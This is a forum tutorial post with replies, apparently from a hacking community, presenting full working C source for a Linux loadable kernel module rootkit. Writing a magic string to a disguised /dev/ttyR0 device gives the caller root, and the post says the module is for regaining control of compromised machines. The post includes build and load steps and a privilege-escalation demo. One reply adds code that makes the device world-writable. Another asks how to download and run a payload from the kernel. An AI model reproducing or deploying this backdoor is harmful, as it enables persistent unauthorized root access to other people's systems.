Kernel RootKits. Getting your hands dirty

Some people say that there are three things you have to do before you die: Write a book, have a child and plant a tree. Actually, the three things you have to do before you die are: write your own IRC bot, create a massive framework that only you will ever use and code an awesome Linux kernel module. I bet you had already build a couple of bots and, at least, one of those useless frameworks… after all you can do that on python or javascript… but the real thing… you have to do in C :stuck_out_tongue:

Getting Started

Let’s start with a very simple LKM that will allow us to get instant root on whatever machine we install it. Consider it as a quick way to re-gain control of a machine once it was compromised. This is one of the standard functions you’ll find in a rootkit.

For writing this LKM I used the following great resources. Go and read them. I’m not going to repeat what is in there… specially because I couldn’t do it better.



The first two are great tutorials on the basics. The third is a module that does what we want, but didn’t worked for me at first and I had to modified it to get a functional version. The one I will show you in a while.

Internals

Giving root to a process is as easy as updating its associated credentials. However, we need a way to let the kernel know which process we want to grant those credentials to. There are different ways to interchange information between user space and kernel space. The traditional ioctl, the proc pseudo file system or a device driver among others. The last two have the extra advantage that can be easily accessed from the command line. We will be using a device driver for our example. (try to change it to use the proc file system as an exercise).

The thing is pretty simple, when a process writes a magic string to our special device, our LKM will give root credentials to such process. You can change this approach in many different ways. For instance, another classical way of doing this is writing the PID of the process you want to grant permissions.

The LKM

So, this is the code:

#include <linux/init.h>   
#include <linux/module.h> 
#include <linux/kernel.h>
#include <linux/device.h>
#include <linux/fs.h>    
#include <asm/uaccess.h>
#include <linux/slab.h>
#include <linux/syscalls.h>
#include <linux/types.h>
#include <linux/cdev.h>
#include <linux/cred.h>
#include <linux/version.h>

#define  DEVICE_NAME "ttyR0" 
#define  CLASS_NAME  "ttyR"  

#if LINUX_VERSION_CODE > KERNEL_VERSION(3,4,0)
#define V(x) x.val
#else
#define V(x) x
#endif

// Prototypes
static int     __init root_init(void);
static void    __exit root_exit(void);
static int     root_open  (struct inode *inode, struct file *f);
static ssize_t root_read  (struct file *f, char *buf, size_t len, loff_t *off);
static ssize_t root_write (struct file *f, const char __user *buf, size_t len, loff_t *off);


// Module info
MODULE_LICENSE("GPL"); 
MODULE_AUTHOR("pico");
MODULE_DESCRIPTION("Got r00t!."); 
MODULE_VERSION("0.1"); 

static int            majorNumber; 
static struct class*  rootcharClass  = NULL;
static struct device* rootcharDevice = NULL;

static struct file_operations fops =
{
  .owner = THIS_MODULE,
  .open = root_open,
  .read = root_read,
  .write = root_write,
};

static int
root_open (struct inode *inode, struct file *f)
{
   return 0;
}

static ssize_t
root_read (struct file *f, char *buf, size_t len, loff_t *off)
{
  return len;
}

static ssize_t
root_write (struct file *f, const char __user *buf, size_t len, loff_t *off)
{ 
  char   *data;
  char   magic[] = "g0tR0ot";
  struct cred *new_cred;
  
  data = (char *) kmalloc (len + 1, GFP_KERNEL);
    
  if (data)
    {
      copy_from_user (data, buf, len);
        if (memcmp(data, magic, 7) == 0)
	  {
	    if ((new_cred = prepare_creds ()) == NULL)
	      {
		printk ("ttyRK: Cannot prepare credentials\n");
		return 0;
	      }
	    printk ("ttyRK: You got it.\n");
	    V(new_cred->uid) = V(new_cred->gid) =  0;
	    V(new_cred->euid) = V(new_cred->egid) = 0;
	    V(new_cred->suid) = V(new_cred->sgid) = 0;
	    V(new_cred->fsuid) = V(new_cred->fsgid) = 0;
	    commit_creds (new_cred);
	  }
        kfree(data);
      }
    else
      {
	printk(KERN_ALERT "ttyRK:Unable to allocate memory");
      }
    
    return len;
}


static int __init
root_init(void)
{
  printk ("ttyRK: LKM installed!\n");
  // Create char device
  if ((majorNumber = register_chrdev(0, DEVICE_NAME, &fops)) < 0)
    {
      printk(KERN_ALERT "ttyRK failed to register a major number\n");
      return majorNumber;
    }
   printk(KERN_INFO "ttyRK: major number %d\n", majorNumber);
 
   // Register the device class
   rootcharClass = class_create(THIS_MODULE, CLASS_NAME);
   if (IS_ERR(rootcharClass))
     {
       unregister_chrdev(majorNumber, DEVICE_NAME);
       printk(KERN_ALERT "ttyRK: Failed to register device class\n");
       return PTR_ERR(rootcharClass); 
   }

   printk(KERN_INFO "ttyRK: device class registered correctly\n");
 
   // Register the device driver
   rootcharDevice = device_create(rootcharClass, NULL,
				  MKDEV(majorNumber, 0), NULL, DEVICE_NAME);
   if (IS_ERR(rootcharDevice))
     {
       class_destroy(rootcharClass);
       unregister_chrdev(majorNumber, DEVICE_NAME);
       printk(KERN_ALERT "ttyRK: Failed to create the device\n");
       return PTR_ERR(rootcharDevice);
     }

    return 0;
    
}

static void __exit
root_exit(void) 
{
  // Destroy the device
  device_destroy(rootcharClass, MKDEV(majorNumber, 0));
  class_unregister(rootcharClass);                     
  class_destroy(rootcharClass);                        
  unregister_chrdev(majorNumber, DEVICE_NAME);     

  printk("ttyRK:Bye!\n");
}


module_init(root_init);
module_exit(root_exit);

If you had read the links I posted above, the code is self-explanatory. Otherwise, go and read them. The relevant part of the module is the write function. It gets the user space string that the process is trying to write to the device and compares it with a keyword. If it matches, the credentials are updated.

	    if ((new_cred = prepare_creds ()) == NULL)
	      {
		printk ("ttyRK: Cannot prepare credentials\n");
		return 0;
	      }
	    printk ("ttyRK: You got it.\n");
	    V(new_cred->uid) = V(new_cred->gid) =  0;
	    V(new_cred->euid) = V(new_cred->egid) = 0;
	    V(new_cred->suid) = V(new_cred->sgid) = 0;
	    V(new_cred->fsuid) = V(new_cred->fsgid) = 0;
	    commit_creds (new_cred);

As for kernel 3.4, the credential structure fields changed and that is why I have to use the macro. Check the macro definition at the beginning of the program. I had to navigate the LXR a bit to find the proper structures and functions to call and which kernel version changed the struct cred (to write the conditional macro at the beginning of the code).

There are other ways of getting the same behaviour but I leave that to you to explore. An interesting one is the technique used by the Mr Fontanini’s rootkit (https://github.com/mfontanini/Programs-Scripts/tree/master/rootkit). Haven’t checked whether still works on recent kernels so it is something interesting for you to also try.

In case you haven’t read the links above (really, go and read them). This is the make file to build this module… The standard one

obj-m+=root.o

all:
        make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules
clean:
        make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) clean

How to use this module

So, you have type it and compile it. It’s time to try it.

First open a terminal to monitor the kernel log

$ tail -f /var/log/kern.log

(The kernel log may be in a different file in your system. Check your distro documentation)

Then we can load the module

sudo insmod ./root.ko

The log window will shown the initialisation messages and a new device will pop up under the /dev folder. Something called /dev/ttyR0. If you list the folder you will find a bunch of ttySOMETHING in there… our character device will be difficult to spot at first glance (we will see how to completely hide it a future instalment… hopefully).

By default the device is only accessible by root so we need to change the permissions after loading our module

$ sudo chmod 0666 /dev/ttyR0

Another interesting exercise is to modify the module so the device is created with the permissions we want.

Now we can use our root backdoor at any time from any terminal or program:

$ id
uid=1000(pico) gid=1000(pico) groups=1000(pico)
$ echo "g0tR0ot" > /dev/ttyR0
$ id
uid=0(root) gid=0(root) groups=0(root)

There is a lot of things you can try out of this simple example… So, what are you waiting for?

Hack Fun

24 Likes

I know this is probably a really basic thing, but it’s still awesome! Thanks for sharing.

2 Likes

Two down; one to go!!!

5 Likes

Pico the wizard. You did it again. Nice share duuude. Rootkits to the moon!

I think its time to write a rookit with a RAT eh?

2 Likes

Sounds like an interesting project to learn about a lot of topics!. Let’s try :wink:

3 Likes

Hello everyone,

Thank you Pico for this article! It’s very useful
Has anyone ever had this type of problem?
I already install the linux-headers…
If a person has an idea thank you

Hi @Pwned08000202

A quick copy and paste of your error on Google shows that you may have be using pwd (lowercase) instead of PWD (uppercase) in your Makefile.

Other than that I have no idea… Usually you only need the kernel source (kernel headers) to compile your module.

Hope this help

1 Like

Thanks for your reply.
It works now
I uninstall and install again kernel headers and done

1 Like

I try to set permission in my LKM with this little piece of code and it works perfectly :

// set permission for all users in read and write (stop cmd chmod 0666 in dev device)
static int uevent(struct device *dev, struct kobj_uevent_env *env){
add_uevent_var(env, “DEVMODE=%#o”, 0666);
return 0;
}
insert this function before the init function start

insert this code after your own register device class :

pwnedClass->dev_uevent = uevent;

in my case pwanedClass is my class name.
I hope this will help you :slight_smile:

2 Likes

Thanks for sharing this @Pwned08000202 … very good!

I’ve to update my code!

Hi everyone,

Maybe you could help me

After a lot of tries and search I did not find the way to execute commands in the userspace from the kernelspace (for a school project I wanted to do a LKM rootkit)

My goal is to download a file and run it from my kernel module

I know it’s a bad idea but it’s just for educational purposes

Have you ever tried to do this ?

Thanks in advance :slightly_smiling_face:

Never tried that, but you can take a look to this:

https://kernelnewbies.org/KernelProjects/usermode-helper-enhancements

No idea what is the status in recent kernels

Hope that helps

Thank you for your reply!

I look at this

If I find a solution I will post it here

1 Like

This topic was automatically closed after 30 days. New replies are no longer allowed.